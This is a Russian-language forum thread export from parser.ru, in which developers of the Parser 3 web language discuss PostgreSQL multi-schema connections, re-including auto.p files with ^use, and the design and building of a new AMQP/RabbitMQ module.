Пример: есть 3 блока с данными:\
access - проверка прав (одна схема)\
data - основные данные, где лежит таблица с клиентами (одна схема)\
client - данные по клиенту (много схем с одинаковой структурой)\
\
На каждый блок нужен свой коннект.\
Для первых двух можно сделать один и переключать схемы, но для клиента в любом случае коннект нужен отдельный, чтобы работать с данными нужного клиента.\
\
Если схемы лежат на разных серверах, то строки коннекта будут разные - проблем быть не должно.\
Если схемы лежат на одном сервере, то строка коннекта будет одна, но нужна возможность работать с несколькими коннектами к одному серверу.\
\
С помощью параметра это можно решить."
"86972","https://www.parser.ru/forum/?id=86970"
"86973","Задаём несколько типов драйверов в auto.p:\
[code]\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
pgsql-auth	$sqldriversdir/libparser3pgsql.so	libpq.so\
pgsql-data	$sqldriversdir/libparser3pgsql.so	libpq.so\
pgsql-client	$sqldriversdir/libparser3pgsql.so	libpq.so\
}]\
]\
[/code]\
\
И используем разные строки подключения вполне себе нативненько и по логике приложения:\
[code]\
pgsql-auth://user:password@local/db\
pgsql-data://user:password@local/db\
pgsql-client://user:password@local/db\
[/code]\
\
Этот способ универcальный для любой БД в Парсере. Я такой подход использую в тестах pf2 — https://github.com/unhandled-exception/pf2/blob/master/ut/run_tests.p#L16"
"86974","Когда парсер подключается к разным сайтам из одного источника, то не прокатит."
"86975","... вместе с дополнением имени сайта в строку соединения.\
\
[code]\
pgsql-client://user:password@local/db?application_name=site_name\
[/code]\
\
Но в целом, если использовать не схемы для разных клиентов, а базы, то вообще этой проблемы не будет. Особенно, если мы для каждого клиента поддерживаем свой набор таблиц. \
\
Но это уже вопрос конкретного приложения. У меня везде разделение по базам и в метасайте прекрасно идёт соединение на любое число баз без вывертов с лишним запросом на search_path."
"86976","Например, https://github.com/pg-sharding/spqr. Чтобы можно было не держать кучу таблиц для каждого пользователя.\
\
Вдруг кому-то на форуме пригодится."
"86977","У пользователя может быть доступ только к одной базе.\
Создавать семы он сможет, а базы - нет."
"86978","Это нехаракетрно для веб-проектов, но да, тогда придётся возиться со схемами.\
\
Но другим читателям форума могут быть полезно знать  и про другие варианты."
"86979","Проект можно раскидать по разным базам, а можно хранить в одной.\
В обоих случаях это будет одинаково рабочий проект.\
\
Все зависит от доступов и предпочтений."
"86980","Отдельные базы чуть проще мигрировать между серверами. Но всё зависит от проекта.\
\
Есть вариант вообще пользователей не раскидвать по базам и схемам, а иметь в каждой таблице id клиента. При необходимости шардировать по клиентам на множество серверов. \
\
Если у нас клиент — это пользователь постгри, то у нас вообще есть множество вариантов без ручного управления search_path...\
\
Можем назвать схему именем пользователя и тогда дефолтный search_path, который сожержит \"$user\" сразу сработает:\
[code]\
>show search_path;\
   search_path   \
-----------------\
 \"$user\", public\
(1 row)\
[/code]\
\
Можем явно установить пути поиска для пользователя:\
[code]\
>alter user aquila2 set search_path = public,client,data;\
\
И после нового логина будем сразу иметь хорошие пути:\
>show search_path ;\
       search_path       \
-------------------\
 public, client, data\
(1 row)\
[/code]\
\
А еще можем указывать схему пользователя явно в запросе:\
[code]\
  ^table:sql{\
     select * from \"$clientSchema\".items;\
  }\
[/code]\
\
Если мы живём без pgBouncer'а, то можно search_path сразу в строке соединения передать:\
[code]\
pgsql://user@127.0.0.1:5432?standard_conforming_strings=1&options=--search_path%3dclient_schema_name,public,data\
[/code]\
\
Вот такой набор получается в дополнение к application_name, схемам драйверов и даже хаком в standard_conforming_strings. :)"
"86981","Пользователь постгреса один.\
Речь шла о типах подключения, а не о названии схем.\
\
В приведенном ранее примере нет схемы [b]client[/b], но есть схемы [b]client_1[/b], [b]client_2[/b], [b]client_5[/b] и т.д.\
В схеме [b]data[/b] лежит таблица клиентов, на каждый ид которой создается своя схема с типовой структурой.\
\
Параметр коннекта [b]application_name[/b] позволяет создать 3 коннекта:\
[code]access - постоянный\
data - постоянный\
client - динамический[/code]\
\
И даже в случае нахождения всех схем в одной базе теперь нет проблем с переключением схем.\
Лишь бы параметр подключения [b]application_name[/b] не трогали.)"
"86982","Но всегда можно сделать свой драйвер, который не Парсит строку подключения.\
\
Я себе такой сделал как раз когда ещё не было явного проброса опций libpq в Парсеровском драйвере — https://github.com/unhandled-exception/parser3postgresql\
\
Так что это вообще не проблема."
"86983","... особенно, если мы работаем без pgBouncer'а в транзакционном режиме.\
\
Если схемами мы оперируем в коде, то мы экономим ресурсы сервера, получаем возможность делать джоины на таблицы из «главных» схем и прочие полезности.\
\
Даже если у нас данные клиента лежат на другом сервере, то мы можем протащить таблички из схемы data и access через postgres_fdw и работать как с одной базой.\
\
p.s.  Я сейчас обсуждаю не ваш конкретный случай, а модельную ситуацию. Как можно использовать несколько серверов одновременно для одного проекта."
"86984","Есть общий код сервиса (например развернутый в кубере -- можно горизонтально масштабировать) и для каждого клиента свои однотипные хранилища данных (база + s3). Все базы (схемы) состоят из одинаковых таблиц. У нас условно может быть 10 серверов под базы данных (может быть даже с репликацией  и т.п.) и на них может крутиться 1000 или 10000 клиентов, каждый из которых живет в своей песочнице. Когда появляется новый клиент ему за 1 секунду в последней базе данных клонируется дефолтная схема-шаблон, содержащая у слвоно 150 таблиц. И погнали работать. Если мы начинаем упираться в диск или в нагрузку на один сервер, то покупается ещё сервер(-а) под БД, и новые схемы начинают литься на него. Если где-то место начинает заканчиваться, можно часть схем из одной БД (сервера) заархивировать и переместить на новый сервер, а на старом высвободить половину диска.\
Если какой-то условный клиент со временем престает пользоваться сервисом, то его схема легко архивируется и удаляется.\
Весь реестр схем хранится в корневой базе-схеме main и там же для каждого клиента прописан id-коннекта к базе/серверу где лежит сейчас его схема. А все коннекты лежат в секретах проекта в json-конфиге. Если схема переместилась на другой сервер, то мы меняем в main ей id коннекта и летим дальше.\
\
Клиенты это не пользователи -- это некие бизнесы например (интернет-магазины, рестораны, компании, делающие e-mail рассылки). У каждого клиента могут быть свои пользователи сотни тысяч, заказы, шаблоны писем, оплаты, какой-то контент и т.п."
"86985","+ написали на go инсталятор/обновлятор ярда и компонентов под парсер фреймворк (аналог композера)"
"86986","Прокинул бы на все шарды схему access через postgres_fdw, а в авторизационную, зашифрованную куку сразу бы писал имя шарда. И тогда одим соединением идем сразу в нужный шард. Если шард переехал, то резолвим заново и снова в куку актуальный шард пишем. \
\
Конечно можно сайдкар повесить с демоном, который кеширует таблицу всех клиентов. И периодически подновляет. И ходить в него по http. ;)\
\
А так у вас понятная шардированная база. У меня похожая схема, но баз полтора десятка и они однозначно по имени домена резолвятся и табличка меняется редко, поэтому сразу в коде лежит.\
\
p.s. это опять в порядке обсуждения подходов и вариантов. Не инвестиционная рекомендация :))))"
"86987","Можно даже не всю, а поштучно в тот же мемкеш.\
И куки не всегда могут быть. У нас есть пример проекта, где апи на пхп общается с апи на парсере через подписанные секретным ключом запросы (нет никакой авторизации и кук). Можно и в параметре передавать туда-сюда, но это надо опять же с двух сторон уметь прихранить где-то (на \"клиенте\" в частности). И хорошо когда ты обе системы разрабатываешь и можешь их обе друг под друга подстроить. А если одна из систем чужая, синхронизировать какие-то id такое себе."
"86988","Зато обсудили сто-то сложное. У нас это нечасто :)))"
"86989","Добрый день.\
Есть файлы без классов, которые подключаются через [b]use[/b] в цикле.\
Требуется найти путь к этому файлу.\
\
[b]^reflection:filename[$self][/b] пустой.\
В файле могут быть любые методы, поэтому [b]^reflection:filename[$auto][/b] и т.д. не годятся.\
\
[b]1. Как узнать путь текущего файла из него?[/b]\
\
Вообще проблема такая при подключении файлов один за другим:\
В [b]auto.p[/b] определяется метод, который может переопределиться в каком-нибудь [b]auto.p[/b] ниже.\
Нужно, чтобы для всех файлов, которые лежат на уровне и ниже последнего [b]auto.p[/b] брался метод из него, а для остальных - из верхнего, как при классовой структуре, если наследоваться от более верхнего по цепочке.\
\
Когда происходит подключение файлов один за другим, то после первого же переопределения метода его результат автоматически перекочевывает в другие файлы, т.к. метод переопределился для всего класса [b]MAIN[/b].\
\
Нашел работающее сомнительное решение через определение путей и проверку, что подключаемый файл лежит ниже или на уровне файла с нужным методом:\
[code]^reflection:filename[$auto] - тут нужно получение пути к текущему файлу, т.к. метод @auto может отсутствовать\
^reflection:filename[$метод] - путь к последнему файлу, в котором был переопределен метод[/code]\
\
Обычно использовал классы, поэтому не было проблем с переопределением методов.\
В данном случае классов нет и не предвидится.\
\
[b]2. Есть ли нормальный способ вызова метода только из подключаемого файла с наследованием из разных auto.p, как это происходит при открытии страницы, но при подключении файла через use? И чтобы при этом в других файлах выше этот метод не использовался?[/b]"
"86990","[url=https://www.parser.ru/faq/]FAQ: как задать вопрос чтобы получить максимально полезный ответ?[/url]\
\
[quote]2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/quote]\
\
Подобные вопросы, как, впрочем, и большинство других, нужно задавать, приводя пример неработающего кода.\
\
[url=https://www.parser.ru/docs/lang/mainclass.htm]Класс MAIN, обработка запроса\
[/url]\
[quote]Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла.[/quote]"
"86991","Добрый день.\
Есть структура:\
[code]1 - папка\
	auto.p\
	index.html\
2 - папка\
	index.html\
auto.p\
index.html[/code]\
\
Код файлов:\
1/auto.p:\
[code]@auto[]\
	$sParam[folder 1][/code]\
\
1/index.html:\
[code]@main[]\
	$result[$sParam][/code]\
\
2/index.html:\
[code]@main[]\
	$result[$sParam][/code]\
\
auto.p:\
[code]@auto[]\
	$sParam[AUTO][/code]\
\
index.html:\
[code]@main[]\
	sParam=$sParam<br />\
	^for[i](1;2){\
		$sParam[]\
		^use[$i/index.html;\
			$.main(true)\
		]\
		sParam=$sParam\
	}[<br />][/code]\
\
Результат выполнения:\
[code]sParam=AUTO\
sParam=folder 1\
sParam=[/code]\
\
Ожидания:\
[code]sParam=AUTO\
sParam=folder 1\
sParam=AUTO - т.к. мы делаем подключение с $.main(true), то параметр должен быть получен из корневого auto.p[/code]\
\
Такое ощущение, что при использовании [b]$.main(true)[/b] не происходит повторное использование файлов, которые уже были подключены ранее.\
\
Так ли это?\
Если да, то какие есть варианты, чтобы это побороть?"
"86992","[code]\
./auto.p\
@auto[]\
$b[BBBB]\
\
./x/index.html\
@auto[]\
$x[XXXX]\
\
./index.html\
@main[]\
\
^use[./index.html;$.main(true)]\
\
$b - $x\
\
<br>\
$b[]\
\
^use[./x/index.html;$.main(true)]\
\
$b - $x\
[/code]\
\
Запускаем ./index.html\
Хотелось бы увидеть:\
BBBB -\
BBBB - XXXX\
а получаем:\
BBBB -\
- XXXX\
\
Хотелось бы, чтобы второй ^use как-то может с включением какой-то спец-опции пересобрал MAIN заново с нуля и подключился, а не смотрел что уже подключилось тут до него и игнорил"
"86993","[quote]Подобные вопросы, как, впрочем, и большинство других, нужно задавать, приводя пример неработающего кода.[/quote]\
\
Скопировал из своего сообщения:\
[quote]^reflection:filename[$self] пустой.\
В файле могут быть любые методы, поэтому ^reflection:filename[$auto] и т.д. не годятся.[/quote]\
\
Какая еще нужна информация?)\
\
Про [b]@auto[filespec][/b] читал, но не хочется везде тягать этот параметр.\
Возможно, есть готовый метод, который возвращает путь к подключаемому через [b]use[/b] файлу изнутри него, но я его не встречал, поэтому и задал вопрос."
"86994","[quote]Какая еще нужна информация?[/quote]\
\
Очевидно нужен готовый [i]example.html[/i] с набором «подключаемых в цикле файлов», который можно просто запустить, из которого будет ясна задача и который можно легко исправить, предложив решение.\
\
Или вы считаете, что каждый из читающих вопрос пойдёт создавать свой [i]example.html[/i] и подключаемые файлы по приведённому текстовому описанию?\
\
В целом же, хороший тон рассказывать о цели, а не о конкретной задаче. В обсуждении очень часто может выясниться, что есть более элегантные способы достижения цели и конкретная задача снимается.\
\
[quote]Возможно, есть готовый метод, который возвращает путь к подключаемому через use файлу изнутри него, но я его не встречал, поэтому и задал вопрос.[/quote]\
\
Вы можете переопределить [i]@use[/i] и заложить любую нужную логику, например, возврат полного пути подключённого файла.\
\
[url=https://www.parser.ru/docs/lang/opuse.htm]use. Подключение модулей\
[/url]\
[quote]@USE начиная с версии 3.4.5 вызывает оператор ^use[], который, как и любой другой оператор, можно переопределить. Это позволяет реализовать свою логику загрузки модулей.[/quote]\
\
[url=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup]Реализация логики оператора ^use[] на Parser[/url]."
"86995","Создаю на лету класс, вкомпилирую туда шаблоны и даже наследование обрабатываю (пачку файлов). Имя класса задается через опцию process, что позволяет получать ися штатно. И работать потом удобно — все метода локализованы в классе.\
\
https://github.com/unhandled-exception/pf2/blob/master/lib/web/templates.p#L111"
"86996","[quote]Такое ощущение, что при использовании $.main(true) не происходит повторное использование файлов, которые уже были подключены ранее.\
\
Так ли это?[/quote]\
\
Да. Это касается не только auto.p, но и любых используемых файлов, они подключаются однократно.\
\
https://github.com/artlebedev/parser3/blob/master/src/main/pa_request.C#L592\
\
\
[quote]Если да, то какие есть варианты, чтобы это побороть?[/quote]\
\
Как вам уже предлагалось ранее, реализовать свой @use, в котором возможна произвольная логика."
"86997","Собрал для актуальных версий дистрибутивов ОС Альт (11 платформа)\
\
Parser3 (v3.5.1)\
http://altrepo.ru/local-p11/x86_64/RPMS.local-p11/parser3-3.5.1-alt1.x86_64.rpm\
\
sqlite module\
http://altrepo.ru/local-p11/x86_64/RPMS.local-p11/parser3-sqlite-3.5.1-alt1.x86_64.rpm\
\
mysql module\
http://altrepo.ru/local-p11/x86_64/RPMS.local-p11/parser3-mysql-3.5.1-alt1.x86_64.rpm\
\
pgsql module\
http://altrepo.ru/local-p11/x86_64/RPMS.local-p11/parser3-pgsql-3.5.1-alt1.x86_64.rpm"
"86998","[quote]Как вам уже предлагалось ранее, реализовать свой @use, в котором возможна произвольная логика.[/quote]\
\
Взял пример https://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup без проверки на переиспользование в [b]include[/b] - не сработало.\
\
Как я понимаю, нужно получить стек всех вызываемых файлов и пропустить их через [b]include[/b], но из файла, где происходит подключение, это не получается сделать."
"86999","Почему всех? В коде используется только непосредственный $caller. И боюсь без bug.html будет сложно подсказать конкретнее."
"87000","Сделал отдельный метод для переподключения одного файла или со всеми auto.p от корня, но он работает только с абсолютным путем:\
[code]########################################\
@getAutoList[sFilePath][locals]\
	$tResult[^table::create{path}]\
	$sFileDir[^file:dirname[/^sFilePath.trim[/]]]\
	$tSplit[^sFileDir.split[/]]\
	$sPath[]\
	^tSplit.menu{\
		^if(def $tSplit.piece){\
			$sPath[$sPath/$tSplit.piece]\
		}\
		$sAutoPath[$sPath/auto.p]\
		^if(-f \"$sAutoPath\"){\
			^tResult.append{$sAutoPath}\
		}\
	}\
	$result[$tResult]\
\
\
\
########################################\
#	sFilePath - абсолютный путь к файлу\
#	bIncludeAuto - подключать ли все auto.p по цепочке\
@forceUse[sFilePath;bIncludeAuto][locals]\
	$sFilePath[^sFilePath.match[/+][g]{/}]\
	^if($bIncludeAuto){\
		$tFiles[^getAutoList[$sFilePath]]\
	}{\
		$tFiles[^table::create{path}]\
	}\
	^tFiles.append{$sFilePath}\
	^tFiles.menu{\
		$fFile[^file::load[text;$tFiles.path]]\
		^process[$MAIN:CLASS]{^taint[as-is][$fFile.text]}[\
			$.file[$tFiles.path]\
		]\
	}\
	$result[][/code]\
\
С помощью [b]forceUse[filename;1][/b] решил проблему.\
\
Осталось только получить полный путь к подключаемому файлу.)"
"87002","Заменил в методе\
[code]$sFilePath[^sFilePath.match[/+][g]{/}][/code]\
на\
[code]$sFilePath[^file:fullpath[^sFilePath.match[/+][g]{/}]][/code]\
и теперь работает с относительными путями."
"87003","Я обычно в начале диалога пишу что имею ввиду \"Parser 3, язык программирования от Студии Артемия Лебедева\".\
\
Кто-то еще использовал Sonnet 4.5 для парсера? Как опыт? \
\
Opus 4.1 тоже норм, но Sonnet 4.5 лучше. А модели от OpenAI делают вид что пишут, но на деле ерунда."
"87004","в самом начале пишу:\
\
\"внимательно изучи каждую страницу https://www.parser.ru/docs/lang/\""
"87006","Закоммитил текущий прогресс (сборке он уже не мешает). В теории готов код однопоточного режима. До отладки пока руки не дошли. :( Но уже можно давать комментарии по сделанному - может каких опций не хватает или что-нибудь стоит поменять в API:\
\
https://github.com/artlebedev/parser3/commit/1fcb6d2fa48ff8eeca978fddcad35d4e98a8fafe"
"87007","Улучшил обработку ошибок, добавил поддержку tls. На вид что-то работает (во всяком случае можно положить сообщение в очередь и считать его :). Мне кажется стоит смотреть на реальных задачах, а то я половину опций не особо понимаю. Если нужно собрать для какой-то конкретной OS из списка на https://www.parser.ru/download/nightly/ - скажите, добавим сборку с AMQP."
"87009","https://www.parser.ru/off-line/download/nightly/parser3_5_2b_centos8x64amqp.tar.gz\
\
Собрано динамически, поскольку оно SSL за собой тянет. В зависимостях так:\
\
[code]ldd ./parser3 \
	librabbitmq.so.4 => /lib64/librabbitmq.so.4 (0x00007f9592e46000)\
        ...[/code]\
\
На сервере должен стоят пакет librabbitmq (в CentOS 8 он так и называется). Если надо, можем добавить сборки под CentOS 9 и 10. Или можно собрать самостоятельно - поставить пакет librabbitmq-devel и build-all --with-system-amqp."
"87010","Сборка проходит без сообщений об ошибках:\
[code]./buildall --with-system-amqp\
Building statically linked parser3, with amqp\
...\
DONE[/code]\
\
В [b]../parser3install/bin[/b]:\
[code]charsets\
auto.p\
parser3[/code]\
\
Запуск скрипта [b]../parser3install/bin/parser3 test.html[/b] с кодом:\
[code]@main[]\
	$oAmqp[^amqp::create[...]][/code]\
\
Результат:\
[code]<h1>create</h1>\
\
<pre>compiled without amqp support</pre>[/code]\
\
Нужно еще что-нибудь компилить или при запуске указывать какой-нибудь флаг?"
"87011","Пробовал компилить несколько раз на Ubuntu, но результат всегда был такой же.\
В очередной раз прокатило.\
\
На Windows 11 в Visual Studio Community 2022 так ни разу и не скомпилилась ни одна версия.\
\
А дока где-нибудь есть по [b]amqp[/b], а то из исходников не очень удобно параметры выгребать?)"
"87012","Если в [b]consume[/b] не указать [b]consumer_tag[/b], то он генерится автоматом: тип - строка.\
\
В итоге при вызове [b]ack[/b] получаем ошибку:\
[code]<h1>ack</h1>\
\
<pre>'amq.ctag-WKPJSgnQwk92VkzeA8CKQg' is an invalid number (int)</pre>[/code]\
\
Если передать в [b]consumer_tag[/b] число, то все работает."
"87013","Можно проверить src/include/pa_config_auto.h, там должно быть\
#define WITH_AMQP\
И если поискать amqp в config.log, должно быть примерно так:\
\
configure:5386: WARNING: --with-amqp value was not specified, hoping linker would find it\
configure:5397: checking for librabbitmq\
configure:5413: gcc -o conftest -g -O2   conftest.c  -lrabbitmq  >&5\
configure:5413: $? = 0\
configure:5414: result: yes\
\
Судя по тому, что в какой-то момент собралось правильно, возможно сначала сборка запускалась без --with-system-amqp. Бывает последующий запуск с другими опциями не обновляет конфиги, помогает make distclean, он удаляет все промежуточные сборочные файлы."
"87014","[quote]На Windows 11 в Visual Studio Community 2022 так ни разу и не скомпилилась ни одна версия.\
[/quote]\
\
Windows версия не планировалась пока. Если есть собранные .dll, то можно попробовать и собрать, но я так сразу не нашел готового архива https://github.com/alanxz/rabbitmq-c/releases, чтобы было librabbitmq-4.dll, libssl-*.dll, libcrypto-*.dll. Хотя вроде как есть еще такой вариант это получить: https://vcpkg.link/ports/librabbitmq\
\
[quote]А дока где-нибудь есть по amqp, а то из исходников не очень удобно параметры выгребать?)[/quote]\
\
Примерно по предложенному и делал: https://www.parser.ru/forum/?id=86910 А документация пишется, когда API согласовано."
"87015","В ack надо передавать delivery_tag, а не consumer_tag. Заодно подумалось, что правильнее выдавать delivery_tag числом, а не строкой (в amqp это 64-х битное число, но монотонное, поэтому переполнение практически невероятно), поменял этот момент."
"87017","Есть метод [b]consume[/b], который позволяет \"слушать\" очередь.\
Если в [b]callback[/b] не вызывать метод [b]ack[/b], то происходит перебор всех задач по одному разу, но нет возможности узнать, что текущая задача - последняя.\
\
Может, есть какой-нибудь трюк с [b]consume[/b], позволяющий определить последнюю задачу, или другая возможность перебрать все текущие задачи?\
Метода получения одной задачи без \"прослушивания\" не нашел в текущей реализации."
"87018","Раз вы инициаторы и пользователи amqp, то предложите вариант решения ;)"
"87019","Что предлагаете, то и делается. А что не предлагаете - понятно не делается. :) Мы же сами не пользователи, у нас нет понимания, какие нужны возможности. Можно например так:\
\
[code]^oAmqp.purge[\
    $.queue[q1]\
    $.nowait(false)\
]\
[/code]\
\
Удаляет все готовые (ready) сообщения из очереди q1 (в обработке — не трогает).\
\
[code]^oAmqp.stats[\
    $.queue[q1]\
]\
[/code]\
\
Возвращает hash со счётчиками:\
        $.messages            — всего сообщений (≈ ready + unacked)\
        $.messages_ready      — готовые к выдаче\
        $.messages_unacked    — выданные потребителям, но не ack’нутые\
        $.consumers           — число потребителей\
\
Пойдет?"
"87020","Подумалось, что можно унифицировать методы, понимая предмет обращения по ключу:\
\
declare_exchange -> declare[ $.exchange[name] ] - сейчас там $.name.\
delete_exchange -> delete [ $.exchange[name] ] - уже так (в смысле что уже ожидается параметр с таким именем).\
declare_queue -> declare[ $.queue[name] ] - уже так.\
delete_queue -> delete[ $.queue[name] ] - уже так.\
bind_queue -> bind[ $.queue[name] ] - уже так.\
unbind_queue -> unbind[ $.queue[name] ] - уже так.\
\
stop_consume - может лучше break?\
\
consume - возможно имеет смысл добавить вариант без коллбека, чтобы просто возвращал сообщение?\
\
P.S. И да, формирование API процесс почти всегда итерационный. :)"
"87021","Т.к. задачи можно получить только через [b]consume[/b], то можно доклеивать в хеш параметров [b]callback[/b] еще один параметр:\
[code]h->put(\"is_last\", ... bool ...);[/code]\
\
Если, конечно, это возможно.)\
\
В теории можно завести счетчик, получать до начала прослушки количество сообщений в очереди, а потом в [b]callback[/b] накручивать этот счетчик и самостоятельно определять [b]is_last[/b].\
\
Если есть возможность получать [b]is_last[/b] в параметрах [b]callback[/b], то это было бы удобнее.\
\
[b]UPD[/b]: описанное выше относится к случаю, когда мы не используем [b]ack[/b], а просто перебираем один раз все задачи.\
\
[b]Возможно, универсальнее будет возвращать количество задач в очереди, включая текущую[/b], чтобы пользователь сам мог рассчитать [b]is_last[/b].\
\
Если использовать [b]ack[/b], то [b]is_last=TRUE[/b], когда сообщение - единственное в очереди."
"87023","типа так:\
[code]\
\
    ^oAmqp.declare_exchange[\
        name;\
        $.type[direct|topic|headers|fanout] тип биржи\
        $.passive(false)                    если true, не объявляет очередь, а проверяет ее существование и выдает исключение если ее не существует,\
                                            если false и очередь существует, ничего не делает\
        $.durable(false)                    гарантирует сохранность определения биржи после перезапуска брокера\
        $.auto_delete(true)                 автоудаление биржи\
        $.nowait(false)                     если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
\
    ^oAmqp.delete_exchange[\
         name;                        название биржи\
         $.if_unused(false)                  если true, то очередь удалится только если не используется\
         $.nowait(false)                     если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Удалить биржу\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.declare_queue[\
        name;                            если отставить пустой должно вернуть имя очереди\
        $.exchange[]                         название биржи\
        $.passive(false)                     если true не объявляет очередь, а проверяет ее существование и выдает исключение если ее не существует,\
                                             если false и очередь существует, ничего не делает\
        $.durable(false)                     гарантирует сохранность определения очереди после перезапуска брокера\
        $.auto_delete(true)                  автоудаление очереди\
        $.nowait(false)                      если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
        Объявить очередь\
        (Если серверу не удалось выполнить метод, он вызовет исключение канала или соединения)\
\
    ^oAmqp.delete_queue[\
        name;                            если отставить пустой должно вернуть имя очереди\
        $.if_unused(false)                   если true, то очередь удалится только если не используется\
        $.if_empty(false)                    если установлено true, очередь удалиться только если пуста\
        $.nowait(false)                      если установлено true, сервер не будет отвечать на метод. Клиенту не следует ожидать ответа метода.\
    ]\
\
[/code]\
\
Мне кажется в два слова оно понятнее и меньше путаницы будет в логике, как этим пользоваться. Тем более declare_queue там первоначально было и $.queue и $.exchange и как отличать от declare_exchange (если $.queue необязательный параметр)\
\
[quote]stop_consume - может лучше break?[/quote]\
stop_consume по-моему очевиднее что делает. break - просто короче в написании\
\
[quote]consume - возможно имеет смысл добавить вариант без коллбека, чтобы просто возвращал сообщение?[/quote]\
\
да. хорошая мысль. чтобы не делать get_message, который полезен и там надо бы запланирвоать брать сразу N-сообщений из очереди (одно по умолчанию)"
"87024","[code]\
@USE\
Hash.p\
\
@CLASS\
RabbitMQ\
\
\
###########################################################################\
@create[h][HResQueue]\
$self.Config[$h.config]\
$self.queue[$h.queue]\
\
^if(def $h.config.sign_pass && ^h.is_sign.bool(true)==true){\
	$self.sign_pass[$h.config.sign_pass]\
}\
\
$HResQueue[^_sendRequest[\
	$.url[queues/^if($self.Config.vhost ne '/'){$self.Config.vhost}{%2F}/$self.queue]\
	$.request_method[GET]\
]]\
\
^if(def $HResQueue.error && $HResQueue.error eq 'Object Not Found'){\
	$HResQueue[^_sendRequest[\
		$.url[queues/^if($self.Config.vhost ne '/'){$self.Config.vhost}{%2F}/$self.queue]\
		$.request_method[PUT]\
		$.data[{\"auto_delete\":false,\"durable\":true,\"arguments\":{}}]\
	]]\
}\
\
\
###########################################################################\
@push[sValue]\
	$result[^_sendRequest[\
		$.url[exchanges/^if($self.Config.vhost ne '/'){$self.Config.vhost}{%2F}/amq.default/publish]\
		$.data[{\"properties\":{\"headers\":{^if(def $self.sign_pass){\"sign\":\"^self.getSign[$sValue]\"}}},\"routing_key\":\"$self.queue\",\"payload\":\"^taint[json][$sValue]\",\"payload_encoding\":\"string\"}]\
	]]\
\
###########################################################################\
@pull[count]\
\
	$result[^_sendRequest[\
		$.url[queues/^if($self.Config.vhost ne '/'){$self.Config.vhost}{%2F}/${self.queue}/get]\
		$.data[{\"count\":^count.int(1),\"ackmode\":\"ack_requeue_false\",\"encoding\":\"auto\",\"truncate\":50000}]\
	]]\
\
	^if($result.0.properties.headers.sign ne ^getSign[^taint[as-is][$result.0.payload]]){\
		^return[^Hash::create[$.error[Неверная сигнатура данных]]]\
	}\
\
\
###########################################################################\
@_sendRequest[h]\
	$f[^curl:load[\
		$.content-type[application/json]\
		$.username[$self.Config.user]\
		$.password[$self.Config.password]\
		$.url[^taint[as-is][$self.Config.url]/api/$h.url]\
		^if(def $h.request_method && ($h.request_method eq 'PUT' || $h.request_method eq 'GET' || $h.request_method eq 'DELETE')){\
			$.customrequest[$h.request_method]\
		}{\
			$.post(1)\
		}\
		$.postfields[$h.data]\
		$.charset[UTF-8]\
		$.timeout(30)\
	]]\
\
$result[^Hash::create[^taint[as-is][$f.text]]]\
\
\
\
###########################################################################\
@getSign[s]\
$result[^math:digest[sha256;${s}${self.sign_pass}]]\
\
\
[/code]"
"87025","По аналогии с xdoc:\
\
[code]^xdoc::create[файл][/code]\
\
Сделать для JSON:\
\
[code]^json::create[файл][опции][/code]\
\
еще лучше:\
\
[code]^json::load[путь_к_файлу][опции][/code]\
\
и тогда уже и в xdoc тоже прямой load добавить не через file"
"87026","[quote]два параметра - строка name ; hash параметров[/quote]\
Когда я тестировал [b]oAmqp.publish[/b], то было совсем непривычно, что текст передается первым параметром, а остальное - хешем.\
\
Если в большинстве случаев хеш не используется, то тогда есть смысл использовать такой подход, но тут не так.\
Параметры хеша сразу видны в коде, а текстовый параметр как-то визуально теряется.\
[code]^oAmqp.declare_queue[\
	$.queue[очередь] - параметр сразу бросается в глаза\
	$.passive(false)\
	$.durable(true)\
\
^oAmqp.declare_queue[очередь;\
	$.passive(false)\
	$.durable(true)[/code]\
\
[quote]чтобы не делать get_message, который полезен и там надо бы запланирвоать брать сразу N-сообщений из очереди (одно по умолчанию)[/quote]\
Есть метод [b]amqp_basic_get[/b], который должен брать одно сообщение из очереди без прослушки.\
Если использовать его для получения нескольких сообщений (в цикле), то в теории это должно быть дольше, чем прослушка, и [b]stop_consume[/b] через нужное количество.\
\
Но во время прослушки для получения нескольких сообщений есть проблема: нужно определить конец очереди, чтобы выйти из нее, если, например, писем больше нет, чтобы скрипт не висел до бесконечности в ожидании последней пары сообщений.\
Можно, конечно, получать в каждом [b]callback[/b] длину очереди и ориентироваться на него, но не знаю, насколько можно верить этому числу в момент обработки текущего сообщения.\
\
Метод [b]amqp_basic_get[/b] возвращает параметр [b]message_count[/b], который равен, если я правильно понял, длине очереди минус 1 (текущее сообщение), т.е. при каждом взятии мы знаем, сколько осталось.\
\
Пока не добрался до получения самого сообщения, только до [b]amqp_basic_get_ok_t[/b].\
\
Если через [b]consume[/b] будет реализовано правильнее и быстрее, то можно и без [b]amqp_basic_get[/b].\
В теории [b]stop_consume[/b] не должен мешать кому-либо другому слушать очередь, т.к. единовременно в одном скрипте может слушать только один."
"87027","[quot]Если в большинстве случаев хеш не используется, то тогда есть смысл использовать такой подход, но тут не так.\
Параметры хеша сразу видны в коде, а текстовый параметр как-то визуально теряется.[/quot]\
\
Для таких случаев можно использовать немного другой синтаксис:\
\
Было:\
[code]\
^oAmqp.declare_queue[очередь;\
	$.passive(false)\
	$.durable(true)\
]\
[/code]\
\
Стало:\
[code]\
^oAmqp.declare_queue[очередь][\
	$.passive(false)\
	$.durable(true)\
]\
[/code]\
\
Или в одну строку:\
[code]^oAmqp.declare_queue[очередь][ $.passive(false) $.durable(true) ][/code]"
"87028","У него нет представления в виде объекта, это сериализатор-десериализатор.\
\
А XDoc — документ."
"87029","Посмотрел в исходники, да, согласен, но извне без погружения кажется странно, что для одного формата файлов есть, а для другого нет.\
\
И визуально это бы упростило код:\
\
[code]$f[^file::load[text;some.json]]\
^if(def $f.text){\
	$h[^json:parse[^untaint{$f.text}]\
}[/code]\
\
